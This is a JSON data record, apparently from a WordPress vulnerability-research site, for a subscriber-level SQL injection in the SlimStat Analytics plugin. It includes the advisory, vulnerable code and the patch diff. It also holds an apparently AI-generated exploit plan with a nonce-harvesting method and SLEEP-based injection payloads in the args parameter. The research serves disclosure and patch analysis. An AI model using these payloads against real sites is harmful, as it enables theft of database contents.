[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fQzlxrIpbjQBdack_yDx5jjwAAMgl94wjUMkLqfWPX9E":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2025-13431","slimstat-analytics-authenticated-subscriber-sql-injection-via-args-parameter","SlimStat Analytics \u003C= 5.3.1 - Authenticated (Subscriber+) SQL Injection via `args` Parameter","The SlimStat Analytics plugin for WordPress is vulnerable to time-based SQL Injection via the ‘args’ parameter in all versions up to, and including, 5.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","wp-slimstat",null,"\u003C=5.3.1","5.3.2","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-02-10 12:36:33","2026-02-11 01:23:34",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7fdf428d-b57a-4f2d-acfd-24a3a059e5c1?source=api-prod",1,[22,23,24,25,26],"CHANGELOG.md","languages\u002Fwp-slimstat.pot","readme.txt","src\u002FModules\u002FChart.php","wp-slimstat.php","researched",false,3,"This research plan focuses on **CVE-2025-13431**, a time-based SQL Injection vulnerability in the SlimStat Analytics plugin for WordPress.\n\n### 1. Vulnerability Summary\nThe **SlimStat Analytics** plugin (up to 5.3.1) is vulnerable to authenticated SQL injection via the `args` parameter in the `ajaxFetchChartData` method within `src\u002FModules\u002FChart.php`. The vulnerability arises because the plugin accepts a JSON-encoded object via `$_POST['args']`, decodes it, and uses its keys\u002Fvalues to construct SQL queries without sufficient sanitization or the use of `$wpdb->prepare()`. Specifically, the plugin uses these arguments to build complex analytic queries where string concatenation is preferred over parameterization for dynamic `WHERE` or `GROUP BY` clauses.\n\n### 2. Attack Vector Analysis\n*   **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action**: `slimstat_fetch_chart_data` (Inferred from the method name `ajaxFetchChartData` in `src\u002FModules\u002FChart.php`)\n*   **Vulnerable Parameter**: `args` (a JSON-encoded string)\n*   **Authentication**: Authenticated, Subscriber level or higher.\n*   **Nonce Requirement**: Yes, a nonce for the action `slimstat_chart_nonce` is required, as checked by `check_ajax_referer('slimstat_chart_nonce', 'nonce')` in `src\u002FModules\u002FChart.php`.\n\n### 3. Code Flow\n1.  **Entry Point**: A Subscriber user sends a POST request to `admin-ajax.php` with `action=slimstat_fetch_chart_data`.\n2.  **Nonce Verification**: `Chart::ajaxFetchChartData()` calls `check_ajax_referer('slimstat_chart_nonce', 'nonce')`.\n3.  **Input Parsing**:\n    *   `$args = isset($_POST['args']) ? json_decode(stripslashes($_POST['args']), true) : [];` (Line 50 in `src\u002FModules\u002FChart.php`).\n4.  **Database Initialization**:\n    *   The code ensures `\\wp_slimstat_db` is initialized and sets range filters using `$args['start']` and `$args['end']`.\n5.  **SQL Construction**:\n    *   The `Chart` instance calls `init($args)`, which leads to `fetchChartData($normalized)`.\n    *   `fetchChartData` calls `$this->buildSql($args, $prevArgs)` (Line 158).\n    *   `buildSql` calls internal methods like `sqlFor('HOUR', ...)` which utilize values from the `$args` array to concatenate into the query string.\n6.  **Sink**:\n    *   `$results = $wpdb->get_results($sqlInfo['sql']);` (Line 159). Since the query is built via concatenation in `buildSql` and the underlying `sqlFor` helpers, an attacker can inject SQL commands.\n\n### 4. Nonce Acquisition Strategy\nThe nonce is localized for use in the WordPress admin dashboard where analytics charts are displayed. Even Subscriber-level users can typically access certain dashboard widgets if enabled.\n\n1.  **Preparation**: Create a page containing a SlimStat shortcode to ensure all necessary scripts and nonces are enqueued.\n    *   `wp post create --post_type=page --post_title=\"Analytics\" --post_status=publish --post_content='[slimstat_chart]'`\n2.  **Navigation**: Navigate to the created page as a Subscriber user.\n3.  **Extraction**: Use `browser_eval` to find the JavaScript object containing the nonce.\n    *   SlimStat typically localizes data into an object named `SlimStatParams` or `SlimstatParams`.\n    *   **Action**: `browser_eval(\"window.SlimStatParams?.nonce || window.SlimstatParams?.nonce\")`\n    *   *Note*: If the shortcode doesn't work, check the Dashboard (`\u002Fwp-admin\u002Findex.php`) as SlimStat often enqueues its chart nonce for the \"At a Glance\" or \"Slimstat Overview\" widgets.\n\n### 5. Exploitation Strategy\nThe goal is to trigger a `SLEEP()` command to confirm the SQL injection.\n\n**HTTP Request (Playwright `http_request`):**\n*   **Method**: `POST`\n*   **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters**:\n    *   `action`: `slimstat_fetch_chart_data`\n    *   `nonce`: `[EXTRACTED_NONCE]`\n    *   `granularity`: `daily`\n    *   `args`: A JSON-encoded payload. Based on `buildSql`, the injection point is likely within a filter key or an unexpected key that gets concatenated into the `WHERE` clause.\n    *   **Payload Example**:\n        ```json\n        {\n          \"start\": 1704067200,\n          \"end\": 1735689600,\n          \"filter\": \"1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\"\n        }\n        ```\n    *   *Alternative payload* (if the injection is in the `granularity` check bypass or other keys):\n        ```json\n        {\n          \"start\": \"1704067200' AND SLEEP(5) AND '1'='1\",\n          \"end\": 1735689600\n        }\n        ```\n\n### 6. Test Data Setup\n1.  **User**: Create a subscriber user: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`.\n2.  **Plugin Config**: Ensure SlimStat is active: `wp plugin activate wp-slimstat`.\n3.  **Content**: Create a page with the shortcode to leak the nonce:\n    *   `wp post create --post_type=page --post_status=publish --post_title=\"Leak\" --post_content='[slimstat_chart]'`\n4.  **Baseline**: Log in as `attacker` and navigate to the page to confirm the nonce exists.\n\n### 7. Expected Results\n*   **Vulnerable Response**: The HTTP request to `admin-ajax.php` will take approximately **5 seconds** longer than a normal request.\n*   **Success Indicator**: A JSON response containing `{\"success\":true, \"data\": ...}` or a database error if the sleep is successful but the rest of the query breaks.\n\n### 8. Verification Steps\n1.  **Database Check**: Use `wp db query` to check for the presence of the `wp_slim_stats` table to ensure the plugin is initialized.\n2.  **Timing**: Compare the `total_time` of a baseline request (valid `args`) vs the exploit request (injected `SLEEP`).\n3.  **Error Logging**: Check `wp-content\u002Fdebug.log` (if `WP_DEBUG` is on) for SQL syntax errors which confirm the point of injection:\n    *   `tail -f wp-content\u002Fdebug.log | grep \"WordPress database error\"`\n\n### 9. Alternative Approaches\n*   **Granularity Injection**: The `granularity` parameter in `Chart.php:ajaxFetchChartData` is sanitized with `sanitize_text_field`, but the `$args['granularity']` used later might be manipulated.\n*   **Boolean-based**: Instead of `SLEEP()`, use `OR (1=1)` or `OR (1=2)` and compare the `totals` object returned in the JSON response:\n    *   `wp_send_json_success(['totals' => $totals, ...])` (Line 81).\n    *   Differences in the `v1` or `v2` values in the response between `1=1` and `1=2` confirm boolean-based injection.\n*   **Key Discovery**: If `filter` is not the correct key, try injecting into `start`, `end`, or adding custom keys like `where` or `having` which the plugin might dynamically process into the SQL string.","SlimStat Analytics is vulnerable to authenticated SQL injection via the 'args' parameter in its AJAX chart data fetching functionality. The plugin decodes a JSON object and uses its values directly in SQL queries without sufficient sanitization or preparation, allowing users with Subscriber-level access or higher to perform time-based SQL injection.","\u002F\u002F src\u002FModules\u002FChart.php:48\npublic static function ajaxFetchChartData()\n{\n    check_ajax_referer('slimstat_chart_nonce', 'nonce');\n\n    $args        = isset($_POST['args']) ? json_decode(stripslashes($_POST['args']), true) : [];\n    $granularity = isset($_POST['granularity']) ? sanitize_text_field($_POST['granularity']) : 'daily';\n\n    if (!in_array($granularity, ['yearly', 'monthly', 'weekly', 'daily', 'hourly'], true)) {\n        wp_send_json_error(['message' => __('Invalid granularity', 'wp-slimstat')]);\n    }\n\n    if (!class_exists('\\wp_slimstat_db')) {\n        include_once SLIMSTAT_DIR . '\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php';\n        \\wp_slimstat_db::init();\n    }\n\n    \\wp_slimstat_db::$filters_normalized['utime']['start'] = $args['start'];\n    \\wp_slimstat_db::$filters_normalized['utime']['end']   = $args['end'];\n\n---\n\n\u002F\u002F src\u002FModules\u002FChart.php:156\nprivate function fetchChartData(array $args): array\n{\n    global $wpdb;\n\n    $prevArgs = $this->calculatePreviousArgs($args);\n    $sqlInfo  = $this->buildSql($args, $prevArgs);\n    $results  = $wpdb->get_results($sqlInfo['sql']);\n    $totals   = $wpdb->get_results($sqlInfo['totalsSql']);\n\n    return $this->processResults(\n        $results,\n        $totals,\n        $sqlInfo['params'],\n        $args['start'],\n        $args['end'],\n        $prevArgs['start'],\n        $prevArgs['end']\n    );\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.1\u002Fsrc\u002FModules\u002FChart.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fsrc\u002FModules\u002FChart.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.1\u002Fsrc\u002FModules\u002FChart.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.2\u002Fsrc\u002FModules\u002FChart.php\t2025-11-24 05:41:38.000000000 +0000\n@@ -41,12 +41,26 @@\n     {\n         check_ajax_referer('slimstat_chart_nonce', 'nonce');\n \n+        \u002F\u002F Additional capability check - users must be able to view stats\n+        $minimum_capability = 'read';\n+        if (!current_user_can($minimum_capability)) {\n+            wp_send_json_error(['message' => __('Insufficient permissions', 'wp-slimstat')]);\n+        }\n+\n         $args        = isset($_POST['args']) ? json_decode(stripslashes($_POST['args']), true) : [];\n         $granularity = isset($_POST['granularity']) ? sanitize_text_field($_POST['granularity']) : 'daily';\n \n         if (!in_array($granularity, ['yearly', 'monthly', 'weekly', 'daily', 'hourly'], true)) {\n             wp_send_json_error(['message' => __('Invalid granularity', 'wp-slimstat')]);\n         }\n+\n+        \u002F\u002F Validate and sanitize start\u002Fend timestamps\n+        if (isset($args['start'])) {\n+            $args['start'] = absint($args['start']);\n+        }\n+        if (isset($args['end'])) {\n+            $args['end'] = absint($args['end']);\n+        }\n \n         if (!class_exists('\\wp_slimstat_db')) {\n             include_once SLIMSTAT_DIR . '\u002Fadmin\u002Fview\u002Fwp-slimstat-db.php';\n@@ -216,8 +230,16 @@\n         global $wpdb;\n         $data1 = $args['chart_data']['data1'] ?? '';\n         $data2 = $args['chart_data']['data2'] ?? '';\n-\n-        $start = $args['start'];\n-        $end   = $args['end'];\n+\n+        \u002F\u002F Validate SQL expressions to prevent SQL injection\n+        $data1 = $this->validateSqlExpression($data1);\n+        $data2 = $this->validateSqlExpression($data2);\n+\n+        \u002F\u002F Ensure timestamps are integers (defense in depth)\n+        $start = absint($args['start']);\n+        $end   = absint($args['end']);\n+        $prevStart = absint($prevArgs['start']);\n+        $prevEnd = absint($prevArgs['end']);\n \n         $totalOffsetSeconds = (int) $wpdb->get_var('SELECT TIMESTAMPDIFF(SECOND, UTC_TIMESTAMP(), NOW())');\n         $sign               = ($totalOffsetSeconds \u003C 0) ? '+' : '-';","The vulnerability is exploited via an AJAX request to the 'slimstat_fetch_chart_data' action. \n\n1. An attacker authenticates as a Subscriber and retrieves a valid 'slimstat_chart_nonce' from the WordPress dashboard or a page using SlimStat shortcodes.\n2. The attacker crafts a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' containing the 'args' parameter as a JSON-encoded string.\n3. Within the 'args' JSON object, the attacker injects SQL payloads into keys such as 'start' or 'end'. For example: { \"start\": \"1735689600 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\", \"end\": 1735689700 }.\n4. Because the plugin uses these values directly in string concatenation to build the SQL query (specifically in the 'sqlFor' helper methods used by 'buildSql'), the SLEEP() command is executed by the database.\n5. The attacker observes the delay in response to confirm the injection.","gemini-3-flash-preview","2026-04-21 01:47:25","2026-04-21 01:47:49",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","5.3.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-slimstat\u002Ftags\u002F5.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-slimstat\u002Ftags\u002F5.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-slimstat\u002Ftags"]